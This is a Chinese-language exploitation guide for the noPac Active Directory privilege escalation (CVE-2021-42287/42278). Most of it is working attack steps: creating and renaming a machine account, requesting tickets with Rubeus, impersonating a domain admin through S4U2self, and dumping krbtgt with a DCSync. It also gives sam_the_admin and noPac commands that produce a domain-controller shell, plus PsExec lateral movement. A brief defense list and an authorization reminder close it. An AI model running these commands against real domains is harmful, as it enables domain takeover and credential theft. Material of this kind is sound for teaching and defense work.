CVE-2021-42287&CVE-2021-42278 域内提权
字数 1067 2025-08-24 20:49:22
CVE-2021-42287 & CVE-2021-42278 域内提权漏洞分析与利用指南
漏洞概述
这两个漏洞组合被称为"noPac"漏洞,允许攻击者在Active Directory域环境中通过特定的机器账户操作实现权限提升,最终获取域控制器的控制权。
CVE-2021-42278
- 漏洞本质:Active Directory未正确验证域内机器账户名的格式
- 细节:机器账户通常应以"\("结尾,但AD未强制验证此规则,允许创建不以"\)"结尾的机器账户
CVE-2021-42287
- 漏洞本质:Kerberos协议实现中的逻辑缺陷
- 细节:当请求的服务账户不存在时,KDC会错误地使用域控制器的密钥加密TGS票据,并提供高权限PAC
漏洞组合利用原理
- 初始条件:域内有一台域控名为DC(对应的机器用户为DC$)
- 攻击步骤:
- 创建一个普通机器账户(如SAMTHEADMIN-48$)
- 将该机器账户的sAMAccountName属性修改为与域控相同的名称(DC)
- 使用修改后的名称(DC)请求TGT票据
- 将机器账户名称改回原始名称(SAMTHEADMIN-48$)
- 利用获得的TGT进行S4U2self请求,模拟域管理员
- KDC在TGS_REP阶段发现"DC"账户不存在,会使用DC$的密钥加密TGS票据
- 最终获得域控制器的高权限服务票据
手工复现步骤
1. 创建机器账户
$password = ConvertTo-SecureString 'ComputerPassword' -AsPlainText -Force
New-MachineAccount -MachineAccount "ControlledComputer" -Password $($password) -Domain "domain.local" -DomainController "DomainController.domain.local" -Verbose
2. 清除SPN记录
Set-DomainObject "CN=ControlledComputer,CN=Computers,DC=domain,DC=local" -Clear 'serviceprincipalname' -Verbose
3. 重命名机器账户
Set-MachineAccountAttribute -MachineAccount "ControlledComputer" -Value "DomainController" -Attribute samaccountname -Verbose
4. 请求TGT票据
Rubeus.exe asktgt /user:"DomainController" /password:"ComputerPassword" /domain:"domain.local" /dc:"DomainController.domain.local" /nowrap
5. 恢复机器账户名称
Set-MachineAccountAttribute -MachineAccount "ControlledComputer" -Value "ControlledComputer" -Attribute samaccountname -Verbose
6. 通过S4U2self请求服务票据
Rubeus.exe s4u /self /impersonateuser:"DomainAdmin" /altservice:"ldap/DomainController.domain.local" /dc:"DomainController.domain.local" /ptt /ticket:[Base64 TGT]
7. 执行DCSync攻击
lsadump::dcsync /domain:domain.local /kdc:DomainController.domain.local /user:krbtgt
使用sam-the-admin工具复现
前置条件
- 拥有一个有效的域用户凭证
攻击主域控
python3 sam_the_admin.py domain/user:password -dc-ip domain_controller_ip -shell
攻击子域控
python3 sam_the_admin.py child.domain/user:password -dc-ip child_dc_ip -shell
使用noPac工具复现
1. 扫描探测
.\noPac.exe scan -domain domain.name -user username -pass 'password'
2. 直接利用
.\noPac.exe -domain domain.name -user username -pass 'password' /dc dc_ip /mAccount machine_account /mPassword machine_password /service cifs /ptt
3. 深度利用(横向移动)
PsExec64.exe \\target_ip -u domain\user -i -p password -s cmd.exe
协议选择建议
-
CIFS协议:
- 优点:可直接访问文件共享
- 缺点:票据有效期较短,可能快速失效
-
LDAP协议:
- 优点:票据不会自动失效
- 缺点:不能直接用于文件访问
防御建议
- 及时安装微软发布的补丁
- 监控域内机器账户的创建和修改操作
- 实施严格的机器账户命名策略
- 监控异常的Kerberos票据请求
- 限制普通用户创建机器账户的权限
工具下载
- noPac工具:GitHub
- sam-the-admin工具:GitHub
- Impacket工具包:GitHub
注意事项
- 低版本Kali Linux可能无法正常显示命令执行窗口
- 实际操作中需根据目标环境调整参数
- 测试前应确保获得合法授权
- 不同工具可能对域环境有不同要求